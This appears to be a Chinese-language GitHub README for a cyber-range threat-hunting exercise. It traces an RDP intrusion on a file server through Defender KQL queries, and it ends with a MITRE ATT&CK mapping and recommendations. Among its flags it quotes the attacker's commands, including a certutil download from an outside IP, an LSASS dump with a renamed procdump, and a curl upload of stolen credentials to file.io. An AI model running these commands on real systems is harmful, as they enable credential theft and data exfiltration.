nadeznamorris/Threat-Hunting-Scenario-Cargo-Hold

GitHub: nadeznamorris/Threat-Hunting-Scenario-Cargo-Hold

一个基于 Microsoft Defender XDR 的威胁狩猎实战演练场景,通过多阶段 KQL 查询还原 RDP 入侵到数据外传的完整攻击链。

Stars: 0 | Forks: 0

# 威胁狩猎场景-Cargo-Hold:Azuki 入侵事件 ## RDP 入侵事件 **报告 ID:** INC-2025-0612 **分析师:** Nadezna Morris **日期:** 2025年12月6日 **事件日期:** 2025年12月22日 ## 执行摘要 在建立初始访问权限约 72 小时后,威胁行为者使用轮换的基础设施再次返回,并对内部文件服务器执行了有组织的攻击。攻击者利用被盗用的管理员账户横向移动到 `azuki-fileserver01`,进行了有条不紊的侦察,并创建了一个伪装成合法 Windows OS 路径的隐藏暂存目录。敏感凭证文件被收集、压缩并外传至一个匿名云共享服务。攻击者还部署了一个重命名的针对 LSASS 的凭证转储工具,并使用伪装的 PowerShell payload 建立了基于注册表的持久化——随后试图通过清除 PowerShell 命令历史记录来抹除他们的痕迹。 ## 1. 调查结果 ### **关键入侵指标 (IOC):** | 指标 | 描述 | | ---------------------- | --------------------------------------------------| | 159.26.106.98 | 攻击者返回 — 轮换的 C2 基础设施 | | 78.141.196.6:7331 | 恶意软件托管服务器 (分发 ex.ps1) | | file.io | 匿名数据外传端点 | | fileadmin | 被盗用的文件管理管理员账户 | | azuki-fileserver01 | 横向移动目标 (文件服务器) | | C:\Windows\Logs\CBS | 隐藏的暂存目录 (模拟 Windows OS 路径) | | pd.exe | 重命名的 Procdump — 凭证转储工具 | | svchost.ps1 | 伪装的持久化 payload | | FileShareSync | 自启动持久化键 | | IT-Admin-Passwords.csv | 被外传的凭证文件 | | lsass.dmp | LSASS 内存转储 (凭证提取) | ***FLAG 1: 初始访问 - 返回连接来源*** **目标:** 在建立初始访问权限后,老练的攻击者通常会在继续行动前等待数小时或数天 (潜伏时间)。他们可能会在会话之间轮换基础设施以避免被检测。 **Flag:** `159.26.106.98` ``` DeviceLogonEvents | where DeviceName == "azuki-sl" | where AccountName == "kenji.sato" | where TimeGenerated between (datetime(2025-11-19) .. datetime(2025-11-30)) | where ActionType == "LogonSuccess" | project TimeGenerated, DeviceName, AccountName, ActionType, RemoteDeviceName, RemoteIP | order by TimeGenerated asc ``` image ***FLAG 2: 横向移动 - 受控设备*** **目标:** 横向移动的目标是根据其对敏感数据或网络权限的访问权限来选择的。文件服务器是包含关键业务信息的高价值目标。 **Flag:** `azuki-fileserver01` ``` DeviceLogonEvents | where DeviceName has_any ("azuki-") | where TimeGenerated between (datetime(2025-11-19) .. datetime(2025-11-30)) | project TimeGenerated, DeviceName, AccountName, ActionType, RemoteIP, InitiatingProcessAccountName | order by TimeGenerated asc ``` image ***FLAG 3: 横向移动 - 受控账户*** **目标:** 识别哪些凭证被盗用,决定了未经授权访问的范围,并指导后续的修复工作。 **Flag:** `fileadmin` ``` DeviceLogonEvents | where DeviceName == "azuki-fileserver01" | where TimeGenerated between (datetime(2025-11-19) .. datetime(2025-11-30)) | where ActionType == "LogonSuccess" | project TimeGenerated, DeviceName, AccountName, ActionType, RemoteIP, InitiatingProcessAccountName | order by TimeGenerated asc ``` image ***FLAG 4: 发现 - 共享枚举命令*** **目标:** 网络共享枚举揭示了可用的数据存储库,并帮助攻击者确定用于收集和外传的目标。 **Flag:** `"net.exe" share` ``` DeviceProcessEvents | where DeviceName == "azuki-fileserver01" | where TimeGenerated between (datetime(2025-11-19) .. datetime(2025-11-30)) | where ProcessCommandLine has_any ("net", "share") | project TimeGenerated, DeviceName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, InitiatingProcessAccountName | order by TimeGenerated asc ``` image ***FLAG 5: 发现 - 远程共享枚举*** **目标:** 攻击者枚举远程网络共享,以识别网络上可访问的文件服务器和数据存储库。 **Flag:** `"net.exe" view \\10.1.0.188` ``` DeviceProcessEvents | where DeviceName == "azuki-fileserver01" | where TimeGenerated between (datetime(2025-11-19) .. datetime(2025-11-30)) | where ProcessCommandLine has_any ("net view", "net share", "\\\\", "all", "local") | project TimeGenerated, DeviceName, FileName, ProcessCommandLine, AccountName | order by TimeGenerated asc ``` image ***FLAG 6: 发现 - 权限枚举*** **目标:** 了解当前用户权限和组成员身份有助于攻击者确定他们可以执行哪些操作,以及是否需要提权。 **Flag:** `"whoami.exe" /all` ``` DeviceProcessEvents | where DeviceName == "azuki-fileserver01" | where TimeGenerated between (datetime(2025-11-19) .. datetime(2025-11-30)) | where ProcessCommandLine has_any ("whoami") | project TimeGenerated, DeviceName, FileName, ProcessCommandLine, AccountName | order by TimeGenerated desc ``` image ***FLAG 7: 发现 - 网络配置命令*** **目标:** 网络配置枚举可帮助攻击者了解目标环境、识别域成员身份,并发现额外的网络段。 **Flag:** `"ipconfig.exe" /all` ``` DeviceProcessEvents | where DeviceName == "azuki-fileserver01" | where TimeGenerated between (datetime(2025-11-19) .. datetime(2025-11-30)) | where ProcessCommandLine has_any ("ipconfig") | project TimeGenerated, DeviceName, FileName, ProcessCommandLine, AccountName | order by TimeGenerated asc ``` image ***FLAG 8: 防御规避 - 目录隐藏命令*** **目标:** 修改文件系统属性以隐藏目录,可以防止被用户和某些安全工具偶然发现。请记录使用的确切命令行。 **Flag:** `"attrib.exe" +h +s C:\Windows\Logs\CBS` ``` DeviceProcessEvents | where DeviceName == "azuki-fileserver01" | where TimeGenerated between (datetime(2025-11-19) .. datetime(2025-11-30)) | where FileName =~ "attrib.exe" | where ProcessCommandLine has_any ("+h", "+s") | project TimeGenerated, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName | order by TimeGenerated desc ``` image ***FLAG 9: 收集 - 暂存目录路径*** **目标:** 攻击者建立暂存位置,以便在外传前组织工具和被盗数据。此目录路径是关键的 IOC。 **Flag:** `C:\Windows\Logs\CBS` ``` DeviceProcessEvents | where DeviceName == "azuki-fileserver01" | where TimeGenerated between (datetime(2025-11-19) .. datetime(2025-11-30)) | where FileName =~ "attrib.exe" | where ProcessCommandLine has_any ("+h", "+s") | project TimeGenerated, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName | order by TimeGenerated desc ``` image ***FLAG 10: 防御规避 - 脚本下载命令*** **目标:** 具有网络功能的合法系统实用程序经常被武器化,用于在逃避检测的同时下载恶意软件。 **Flag:** `"certutil.exe" -urlcache -f http://78.141.196.6:7331/ex.ps1 C:\Windows\Logs\CBS\ex.ps1` ``` DeviceProcessEvents | where DeviceName == "azuki-fileserver01" | where TimeGenerated between (datetime(2025-11-19) .. datetime(2025-11-30)) | where ProcessCommandLine has_any ("certutil") | project TimeGenerated, DeviceName, FileName, ProcessCommandLine | order by TimeGenerated asc ``` image ***FLAG 11: 收集 - 凭证文件发现*** **目标:** 凭证文件是通往王国的钥匙——能够在整个网络中实现横向移动和权限提升。 **Flag:** `IT-Admin-Passwords.csv` ``` DeviceFileEvents | where DeviceName == "azuki-fileserver01" | where TimeGenerated between (datetime(2025-11-19) .. datetime(2025-11-30)) | where FileName has_any (".csv", ".xlsx") | project TimeGenerated, DeviceName, FileName, InitiatingProcessCommandLine, FolderPath | order by TimeGenerated asc ``` image ***FLAG 12: 收集 - 递归复制命令*** **目标:** 内置的系统实用程序是数据暂存的首选,因为它们不太可能触发安全警报。确切的命令行揭示了攻击者的方法。 **Flag:** `"xcopy.exe" C:\FileShares\IT-Admin C:\Windows\Logs\CBS\it-admin /E /I /H /Y` ``` DeviceFileEvents | where DeviceName == "azuki-fileserver01" | where TimeGenerated between (datetime(2025-11-19) .. datetime(2025-11-30)) | where FileName =~ "IT-Admin-Passwords.csv" | project TimeGenerated, DeviceName, FileName, InitiatingProcessCommandLine | order by TimeGenerated asc ``` image ***FLAG 13: 收集 - 压缩命令*** **目标:** 跨平台压缩工具表明了攻击者的老练程度。完整的命令行揭示了所使用的确切归档方法。 **Flag:** `"tar.exe" -czf C:\Windows\Logs\CBS\credentials.tar.gz -C C:\Windows\Logs\CBS\it-admin .` ``` DeviceProcessEvents | where DeviceName == "azuki-fileserver01" | where TimeGenerated between (datetime(2025-11-19) .. datetime(2025-11-30)) | where ProcessCommandLine has_any (".tar", ".zip") | project TimeGenerated, DeviceName, ProcessCommandLine, FolderPath | order by TimeGenerated asc ``` image ***FLAG 14: 凭证访问 - 重命名的工具*** **目标:** 重命名凭证转储工具是规避基于签名的检测的基础 OPSEC 操作。 **Flag:** `pd.exe` ``` DeviceProcessEvents | where DeviceName == "azuki-fileserver01" | where TimeGenerated between (datetime(2025-11-19) .. datetime(2025-11-30)) | where ProcessCommandLine has_any ("lsass", "sekurlsa", "minidump", "procdump", "dump") | project TimeGenerated, DeviceName, FolderPath, FileName, ProcessCommandLine | order by TimeGenerated asc ``` image ***FLAG 15: 凭证访问 - 内存转储命令*** **目标:** 完整的进程内存转储命令行是关键证据,准确展示了凭证是如何被提取的。 **Flag:** `"pd.exe" -accepteula -ma 876 C:\Windows\Logs\CBS\lsass.dmp` ``` DeviceProcessEvents | where DeviceName == "azuki-fileserver01" | where TimeGenerated between (datetime(2025-11-19) .. datetime(2025-11-30)) | where ProcessCommandLine has_any ("lsass", "sekurlsa", "minidump", "procdump", "dump") | project TimeGenerated, DeviceName, FolderPath, FileName, ProcessCommandLine | order by TimeGenerated asc ``` image ***FLAG 16: 外传 - 上传命令*** **目标:** 命令行 HTTP 客户端实现了可脚本化的数据传输。完整的命令语法对于构建检测规则至关重要。 **Flag:** `"curl.exe" -F file=@C:\Windows\Logs\CBS\credentials.tar.gz https://file.io` ``` DeviceProcessEvents | where DeviceName == "azuki-fileserver01" | where TimeGenerated between (datetime(2025-11-19) .. datetime(2025-11-30)) | where ProcessCommandLine has_any ("https", "credentials") | where FileName !startswith "updater" | project TimeGenerated, DeviceName, ActionType, ProcessCommandLine, FolderPath | order by TimeGenerated asc ``` image ***FLAG 17: 外传 - 云服务*** **目标:** 云文件共享服务提供了方便、匿名的数据外传渠道,能够与合法的业务流量混在一起。 **Flag:** `file.io` ``` DeviceNetworkEvents | where DeviceName == "azuki-fileserver01" | where TimeGenerated between (datetime(2025-11-19) .. datetime(2025-11-30)) | where RemoteUrl has_any ("transfer.sh", "file.io", "gofile.io", "anonfiles.com", "temp.sh", "0x0.st", "pixeldrain.com", "ufile.io") | project TimeGenerated, DeviceName, RemoteUrl, RemoteIP, InitiatingProcessCommandLine | order by TimeGenerated desc ``` image ***FLAG 18: 持久化 - 注册表值名称*** **目标:** 注册表自启动键提供了可靠的持久化,可在每次系统启动或用户登录时执行。 **Flag:** `FileShareSync` ``` DeviceRegistryEvents | where DeviceName == "azuki-fileserver01" | where TimeGenerated between (datetime(2025-11-19) .. datetime(2025-11-30)) | where ActionType == "RegistryValueSet" | where RegistryKey has_any (@"\CurrentVersion\Run") | project TimeGenerated, DeviceName, RegistryKey, RegistryValueName, RegistryValueData | order by TimeGenerated asc ``` image ***FLAG 19: 持久化 - Beacon 文件名*** **目标:** 进程伪装涉及将恶意文件命名为合法的 Windows 组件,以避免引起怀疑。 **Flag:** `svchost.ps1` ``` DeviceRegistryEvents | where DeviceName == "azuki-fileserver01" | where TimeGenerated between (datetime(2025-11-19) .. datetime(2025-11-30)) | where ActionType == "RegistryValueSet" | where RegistryKey has_any (@"\CurrentVersion\Run") | project TimeGenerated, DeviceName, RegistryKey, RegistryValueName, RegistryValueData | order by TimeGenerated asc ``` image ***FLAG 20: 反取证 - 历史记录文件删除*** **目标:** PowerShell 将命令历史记录保存到在会话终止后依然存在的持久文件中。攻击者以这些文件为目标来掩盖他们的踪迹。 **Flag:** `ConsoleHost_history.txt` ``` DeviceFileEvents | where DeviceName == "azuki-fileserver01" | where TimeGenerated between (datetime(2025-11-19) .. datetime(2025-11-30)) | where ActionType has_any ("FileDeleted") | where InitiatingProcessCommandLine has_any ("powershell") | project TimeGenerated, DeviceName, FileName, InitiatingProcessCommandLine, FolderPath | order by TimeGenerated asc ``` image ## 2. 调查摘要 经过 72 小时的潜伏期后,攻击者从一个新的 IP 地址 (`159.26.106.98`) 重新进入环境,这表明其为逃避检测而进行了蓄意的基础设施轮换。使用先前被盗用的 `fileadmin` 账户,他们横向移动到 `azuki-fileserver01` 并执行了系统枚举——映射网络共享 (`net.exe share`)、远程文件存储库 (`net.exe view \\10.1.0.188`)、用户权限 (`whoami.exe /all`) 以及网络配置 (`ipconfig.exe /all`)。 攻击者在 `C:\Windows\Logs\CBS` 创建了一个暂存目录,并应用 `attrib +h +s` 使其与受保护的 OS 组件混在一起。然后,他们使用 `certutil.exe`——一个受信任的 Windows 二进制文件——从 `78.141.196.6:7331` 下载了恶意 PowerShell 脚本 (`ex.ps1`),这是一种已知的就地取材 (LotL) 技术。来自 `C:\FileShares\IT-Admin` 的敏感凭证文件使用 xcopy.exe 被复制到暂存目录,并使用 tar.exe 压缩为 `credentials.tar.gz`。 为了从内存中提取凭证,攻击者部署了重命名为 `pd.exe` 的 Procdump,并将 LSASS 进程 (PID 876) 转储到 `lsass.dmp`。随后,完整的归档文件通过 `curl.exe` 被外传到 `file.io`——这是一个零身份验证、自动删除的文件共享服务,留下的痕迹极少。最后,攻击者通过写入指向 `svchost.ps1` (一个伪装的 PowerShell payload) 的 `FileShareSync` 自启动注册表键来建立持久化,随后以 `ConsoleHost_history.txt` 为目标,试图擦除 PowerShell 命令历史记录。 ## 3. MITRE ATT&CK 映射 | 战术 | 技术 | 证据 | | ---------------- | ---------------------------------------- | -------------------------------- | | Initial Access | T1078 — Valid Accounts | 重用 fileadmin 账户 | | Discovery | T1135 — Network Share Discovery | net.exe share, net.exe view | | Discovery | T1016 - System Network Config Discovery | ipconfig.exe /all | | Discovery | T1069 - Permission Groups Discovery | whoami.exe /all | | Defense Evasion | T1564.001 - Hide Artifacts: Hidden Files | attrib +h +s C:\Windows\Logs\CBS | | Defense Evasion | T1036 - Masquerading | pd.exe, svchost.ps1 | | Defense Evasion | T1070.003 - Clear Command History | ConsoleHost_history.txt 被删除 | | Command & Control| T1105 - Ingress Tool Transfer | certutil.exe 下载 | | Credential Access| T1003.001 - OS Credential Dumping: LSASS | pd.exe -ma 876 lsass.dmp | | Collection | T1560.001 - Archive Collected Data | tar.exe -czf credentials.tar.gz | | Exfiltration | T1567 - Exfiltration Over Web Service | curl.exe → file.io | | Persistence | T1547.001 - Registry Run Keys | FileShareSync 自启动键 | | Lateral Movement | T1021.002 - Remote Services: SMB | 移动至 azuki-fileserver01 | ## 4. 建议 ### 立即行动 - 禁用并重置 `fileadmin` 账户,审计所有有权访问 `C:\FileShares\IT-Admin` 的账户。 - 在边界防火墙处阻止到 `78.141.196.6` 和 `file.io` 的出站连接。 - 隔离 `azuki-fileserver01`,等待全面的取证分析。 - 删除 `FileShareSync` 注册表自启动键并删除 `svchost.ps1`。 ### 凭证卫生 - 立即轮换 `IT-Admin-Passwords.csv` 中发现的所有凭证——将其视为已完全泄露。 - 假设 LSASS 转储 (`lsass.dmp`) 暴露了攻击发生时缓存在 `azuki-fileserver01` 上的所有凭证。 - 强制执行 Windows Credential Guard,并通过攻击面减少 (ASR) 规则限制 LSASS 访问。 ### 检测强化 对 `certutil.exe -urlcache` 的使用发出警报——这是一个高保真的 LotL 指标。 - 监控带有 `+h +s` 标志且针对非标准路径的 `attrib.exe`。 - 为向文件共享域 (`file.io`, `transfer.sh`, `gofile.io`) 发送 POST 请求的 `curl.exe` 或 `Invoke-WebRequest` 创建检测规则。 - 通过基于哈希或父进程的检测,标记重命名工具 (Procdump, Mimikatz) 的执行。 ### 减少攻击面 - 通过 AppLocker 或 WDAC 策略限制非管理员用户执行 `certutil.exe`、`curl.exe` 和 `xcopy.exe`。 - 强制执行 PowerShell 受限语言模式并启用脚本块日志记录 (Script Block Logging)。 - 从共享目录中删除明文凭证文件——替换为机密管理解决方案 (例如:Azure Key Vault, HashiCorp Vault)。 ### 架构改进 - 实施网络分段,以防止工作站和文件服务器之间的横向移动。 - 为管理员账户启用即时 (JIT) 特权访问。 - 部署蜜罐文件 (例如:伪造的 `IT-Admin-Passwords.csv`) 以检测未来的侦察活动。 **报告状态:** 已完成 **下次审查:** 2025年12月13日 **分发范围:** Cyber Range
标签:PE 加载器, 子域名变形, 安全事件响应, 安全报告, 数字取证, 自动化脚本